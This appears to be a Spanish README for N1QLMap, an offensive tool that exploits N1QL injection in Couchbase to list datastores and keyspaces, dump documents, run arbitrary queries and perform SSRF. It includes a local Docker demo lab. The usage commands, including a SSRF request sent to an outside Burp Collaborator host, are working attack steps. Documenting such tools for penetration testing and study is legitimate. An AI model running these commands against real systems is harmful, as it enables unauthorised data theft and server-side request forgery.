
La herramienta extrae datos de la base de datos Couchbase explotando vulnerabilidades de inyección N1QL.
N1QLMap es una herramienta de explotación de N1QL. Actualmente funciona con la base de datos Couchbase. La herramienta soporta la extracción de datos y la realización de ataques SSRF a través de CURL.
Se puede encontrar más información aquí: https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database.
usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]
(-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])
host
positional arguments:
host Host used to send an HTTP request e.g. https://vulndomain.net
optional arguments:
-h, --help show this help message and exit
-r REQUEST, --request REQUEST
Path to an HTTP request
-k KEYWORD, --keyword KEYWORD
Keyword that exists in HTTP response when query is successful
--proxy PROXY Proxy server address
--validatecerts Set the flag to enforce certificate validation. Certificates are not validated by default!
-v, --verbose_debug Set the verbosity level to debug
-d, --datastores Lists available datastores
-ks DATASTORE_URL, --keyspaces DATASTORE_URL
Lists available keyspaces for specific datastore URL
-e KEYSPACE_ID, --extract KEYSPACE_ID
Extracts data from a specific keyspace
-q QUERY, --query QUERY
Run arbitrary N1QL query
-c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]
Runs CURL N1QL function inside the query, can be used to SSRF
request.txt. Marque un punto de inyección usando *i*. Consulte el archivo example_request_1.txt como referencia.Extrae datastores:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores
Extrae keyspaces del ID de datastore específico:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"
Extrae todos los documentos del keyspace dado:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample
Ejecuta una consulta arbitraria:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'
Realiza una solicitud CURL / SSRF:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"
Para jugar con la vulnerabilidad, puede levantar máquinas Docker con Couchbase y una aplicación web NodeJS. Si ya cumple con los requisitos, simplemente ejecute:
cd n1ql-demo
./quick_setup.sh
Ahora, puede ejecutar los comandos descritos en la sección Uso contra la aplicación web en Docker.
El script N1QLMap.py no necesita ningún requisito específico aparte de Python 3.
Los siguientes requisitos son solo para la Demo proporcionada en el directorio n1ql-demo.
Para instalar Docker y Docker Compose en Kali:
# Instalación de Docker
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list
apt-get update
apt-get remove docker docker-engine docker.io
apt-get install docker-ce
# Iniciar el servicio de Docker
systemctl start docker
# Instalación de Docker Compose
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
Probemos Docker:
docker run hello-world